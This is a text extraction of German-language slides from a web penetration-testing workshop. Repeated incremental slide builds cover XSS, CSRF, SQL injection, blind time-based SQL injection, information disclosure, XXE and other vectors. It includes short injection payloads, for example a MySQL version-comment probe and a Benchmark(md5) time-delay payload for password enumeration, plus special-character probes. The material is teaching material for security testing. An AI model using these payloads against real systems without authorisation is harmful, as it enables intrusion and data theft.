Page 190: Wsd pentesting workshop

XSS Pentest

» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?

» Wird die Seite mit diesem String manipuliert?

40

Page 191: Wsd pentesting workshop

XSS Pentest

» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?

» Wird die Seite mit diesem String manipuliert?

» Typisches Beispiel: Frames und Iframes

40

Page 192: Wsd pentesting workshop

XSS Pentest

41

Page 193: Wsd pentesting workshop

XSS Pentest

» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt

41

Page 194: Wsd pentesting workshop

XSS Pentest

» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt

» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren

41

Page 195: Wsd pentesting workshop

XSS Pentest

» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt

» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren

» Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden

41

Page 196: Wsd pentesting workshop

CSRF Pentesting

42

Page 197: Wsd pentesting workshop

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?

42

Page 198: Wsd pentesting workshop

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

42

Page 199: Wsd pentesting workshop

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar?

42

Page 200: Wsd pentesting workshop

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

42

Page 201: Wsd pentesting workshop

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

» Falls nein

42

Page 202: Wsd pentesting workshop

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

» Falls nein» existiert ein Referer-Check?

42

Page 203: Wsd pentesting workshop

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

» Falls nein» existiert ein Referer-Check?

» Prüfung auf XSS und Flash-Angriffe, um das Token auszulesen

42

Page 204: Wsd pentesting workshop

SQL Injection Pentesting

43

Page 205: Wsd pentesting workshop

SQL Injection Pentesting

» Parametermanipulation

43

Page 206: Wsd pentesting workshop

SQL Injection Pentesting

» Parametermanipulation» Test mit Escape-Parametern und

Sonderzeichen

43

Page 207: Wsd pentesting workshop

SQL Injection Pentesting

» Parametermanipulation» Test mit Escape-Parametern und

Sonderzeichen» Lassen sich Fehlermeldungen provozieren?

43

Page 208: Wsd pentesting workshop

SQL Injection Pentesting

» Parametermanipulation» Test mit Escape-Parametern und

Sonderzeichen» Lassen sich Fehlermeldungen provozieren?» Ändert sich etwas an den dargestellten

Werten?

43

Page 209: Wsd pentesting workshop

SQL Injection Pentesting

44

Page 210: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query

44

Page 211: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?

44

Page 212: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

44

Page 213: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch

44

Page 214: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

44

Page 215: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union

44

Page 216: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare

44

Page 217: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare

» Erkennung der Datenbank und Version

44

Page 218: Wsd pentesting workshop

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare

» Erkennung der Datenbank und Version » SELECT /*!32302 1/0, */1 FROM tablename

44

Page 219: Wsd pentesting workshop

SQL Injection Pentesting - Blind SQL Injection

45

Page 220: Wsd pentesting workshop

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

45

Page 221: Wsd pentesting workshop

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

45

Page 222: Wsd pentesting workshop

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

» index.jsp?field=name&direction=ASC

45

Page 223: Wsd pentesting workshop

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC

45

Page 224: Wsd pentesting workshop

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC» Kann zur Passwortenumeration genutzt

werden

45

Page 225: Wsd pentesting workshop

Information Disclosure Pentesting

46

Page 226: Wsd pentesting workshop

Information Disclosure Pentesting

» Nach Artifakten suchen

46

Page 227: Wsd pentesting workshop

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

46

Page 228: Wsd pentesting workshop

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation

46

Page 229: Wsd pentesting workshop

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

46

Page 230: Wsd pentesting workshop

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

» ‚ \ %00 %0A %0D %27

46

Page 231: Wsd pentesting workshop

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren

versteckt!

46

Page 232: Wsd pentesting workshop

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren

versteckt!» Typische Files: /admin/, /README etc

46

Page 233: Wsd pentesting workshop

Andere Vektoren

47

Page 234: Wsd pentesting workshop

Andere Vektoren

» XPATH injections

47

Page 235: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

47

Page 236: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE

47

Page 237: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections

47

Page 238: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files

47

Page 239: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections

47

Page 240: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections» Logical Flaws

47

Page 241: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections» Logical Flaws

» Missing authorization checks

47

Page 242: Wsd pentesting workshop

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections» Logical Flaws

» Missing authorization checks » /user/edit.php?id=1 for admin editing

47

Page 243: Wsd pentesting workshop

Hands On

» Einfache SQL-Injection » Blind SQL Injection» Hackme „OWasp Casino“

» SQL-Injection» Cross Site Request Forgery» Logischer Fehler

48

Page 244: Wsd pentesting workshop

Freiwilliger Penetration Test

» Nur Suche nach XSS-Lücken» Gerne auch private Seiten

49

Page 245: Wsd pentesting workshop

Fragen?

»

50

Page 246: Wsd pentesting workshop

Vielen Dank für Ihre Aufmerksamkeit!

51